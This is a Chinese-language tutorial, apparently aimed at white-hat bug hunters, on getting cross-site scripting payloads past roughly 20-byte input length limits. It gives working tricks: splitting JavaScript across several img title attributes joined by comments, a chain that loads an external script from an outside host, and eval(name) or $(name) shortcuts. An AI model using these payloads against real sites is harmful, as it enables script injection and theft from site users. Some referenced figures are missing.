前 言
很多白帽子在挖掘XSS漏洞的时候,往往会遇到一个问题,就是明明发现这里的过滤有缺陷,但是就是没法成功的进行构造利用。可能会由于自身对XSS绕过的局限性思维,往往只会反复的去尝试各种不同 payload代码,寄希望于其中某一个可以绕过过滤。但是在遇到强有力的XSS防御措施下,往往只能是竹篮打水一场空。
鉴于这种情况,这里主要分3个章节来简单的分享一些XSS绕过思路。
前面已经讲过了
这次来聊聊【第三节】限制了字符长度,也是该系列的最后一篇。
这里直入正题,说说常见的几种长度限制的情况。一般情况,开发者对字符的长度限制往往会有几种情况,不超过20个字节,50~200个字节的限制。
50~200个字节往往会是个人地址、图片url地址、个性签名、描述备注之类的地方的限制,这种限制对写XSS基本没啥影响,基本上都比较容易绕过的,比如最简单的<script src='//xxxx.js'>这种,一般都不会超50个字节。
下面重点说说20个字节的这种限制,这种限制一般会在用户名、图片名、昵称之类的位置出现,这么做的目的很明显就是防止用户输入过多的字符,对整体的业务产生不良的影响,当然很多时候这一限制,往往也让众多想去写XSS的朋友头疼。
下面说说这种情况,常用的几种绕过方法。
方法一:三个臭皮匠,顶个诸葛亮
具体思路模型如下。
输出点如下
限制长度20个字节
这种位置直接写是没有办法写入东西的,因为首先要闭合双引号,可以用以下两种方法去闭合分别是**">"onload="**这样:
思路一:**">
所以我们的思路是,既然一个点我们没办法进行XSS写入,我们可以多制造几个输出点出来,构造模型如下:
<img title="**\*/alert(1)/\***"> <img title="**\*/**">
这样在浏览器解析的时候,中间部分的代码都会被js注释符给注释掉。
从而轻松执行js代码。
当然,现在有了ES6的特性,我们也可以不用注释符,用模板字符串也可以,构造模型如下。
<img title="**\`;alert(1);\`**"> <img title="**\`;**">
两个构造思路大同小异,都是利用3个不能利用的点,通过组合拼接去构造,最终成功XSS弹窗。三个臭皮匠,顶个诸葛亮!
这个思路,二哥gainover以前也有讲过(图片拿来引用下,PPT地址放在结尾处)
这里肯定有人会说,你这搞了半天,最后也就是弹个1,那还不如直接用onload去弹1,有啥区别?其实区别还是蛮大的,因为这个方法是可以执行任意js代码的,当然这时候三个臭皮匠可能已经不够用了,我们需要更多的臭皮匠来充数了。构造模型如下:
比如我们要在js中dom的写入一个调用外部js文件的代码
with(document)body.appendChild(createElement('script')).src='//px1624.sinaapp.com/t.js'
拆开写就是这样子
<img title="*/x="with("/*">
<img title="*/x+="document"/*">
<img title="*/x+=")body.ap"/*">
<img title="*/x+="pendChil"/*">
<img title="*/x+="d(create"/*****">
<img title="*/x+="Element("/*">
<img title="*/x+="'script"/*">
<img title="*/x+="')).sr"/*">
<img title="*/x+="c='//px"/*">
<img title="*/x+="1624.sin"/*">
<img title="*/x+="aapp.com"/*">
<img title="*/x+="/t.js'"/*">
在浏览器里面解析的时候,就会如下图注释掉多余的标签代码,从而拼接执行了我们指定的js代码,最终成功调用外部js文件。
可以看到,这里用了15个臭皮匠,终于可以调用外部js文件了。我这里是用注释符的特性去构造的,当然现在用ES6的模板字符串也是可以的,构造模型如下。
https://www.uedbox.com/post/40569/
方法二:借刀杀人,借尸还魂
先看一种最常见最常用的借刀杀人的方法,利用hash、name之类的反射XSS。
hash由于含有#号,很多时候还需要进行location.hash.slice(1)的去处理,这样就已经超过20个字节了,而且隐蔽性不好,所以这里主要还是以name为例去进行说明。
这种在XSS利用中,是非常普遍的一个方法。模型如下:
调用外部js就可以这么写 上面eval(name)的模型10个字符即可。如果网站有jQuery的话,还可以利用jq的特性这么写。
调用外部js就可以这么写 上面$(name)的模型只需要7个字符即可。在原本无法有太好利用的输入位置,利用name成功借刀杀人。
相关案例:一些BAT的XSS实例(五)最终篇
https://mp.weixin.qq.com/s/MNP1PW0bi0aL7dRr1aa2Tg
本案例最终在限制了7个字符的情况下,用$(name)绕过了长度限制,具体参考上文中后半部分分析说明。
上面这种在反射xss的利用中,用的场景还是比较多的。在储存XSS中,更多遇到的是下面类似方法,我们称为借尸还魂。
还是前面的这种场景,输出点如下
限制长度20个字节
前面讲过下面这种模型的构造绕过的思路一:
<img title="**\*/alert(1)/\***"> <img title="**\*/**">
但是经常遇到的情况是,不允许写><符号进去。所以上面这个模型的方法不能用。
我们需要重新构造一个模型,也就是前面提到的思路二如下:
思路二:**"onload="**去闭合,这同样也已经占用了9个字节,剩下的11个字节顶多可以写个alert(1)之类的弹个窗,这样的构造也是没有任何意义的,因为不能执行任意js代码。
所以这里我们需要用到借尸还魂,这里就是将一些本来没有用的尸体(函数、变量、属性等),借过来用,最终达到了还魂(XSS)的效果。
当然上面这个模型放到现在的话,模型一已经不太实用了,因为这种自定义属性,在当前主流浏览器大都已经是不支持的了。
所以我们更多的用到的是模型二这种。用eval直接去配合一个现有js函数或者可控变量进行构造。如果变量名字过长,也可以再写一个标签去进行中转。
在模型二中,$('t').title这种,在目前大部分主流浏览器中,也可以写成t.title,虽然原理上这两种写法表达的完全不一样,一个是从dom节点取,一个是直接取(而且很容易出现变量冲突等问题),但是在实际XSS利用中,如果长度限制的特别严格,像t.title的这种写法反而更实用。当然要根据具体情况具体选择,下面是常用的一些借尸还魂的标签属性。
但是还要注意一点,就是这种写法并不是所有标签和属性都可以随便去用的,必须要相关标签有这种属性才可以。
比如下面例子:
id1获取不到,是因为span标签没有src这个属性。
之所以id1和id2获取不到,也是因为span和img不存在value属性。
相关案例:QQ空间个人首页一处比较隐蔽的存储型XSS
http://tech.huweishen.com/loudong/1574.html
方法三:天下武功,无坚不破,唯****短不破
如果你有一个很短域名,那么很多问题就会变得简单,比如限制字符20个的时候。也可以用一个很短的域名去进行XSS写入。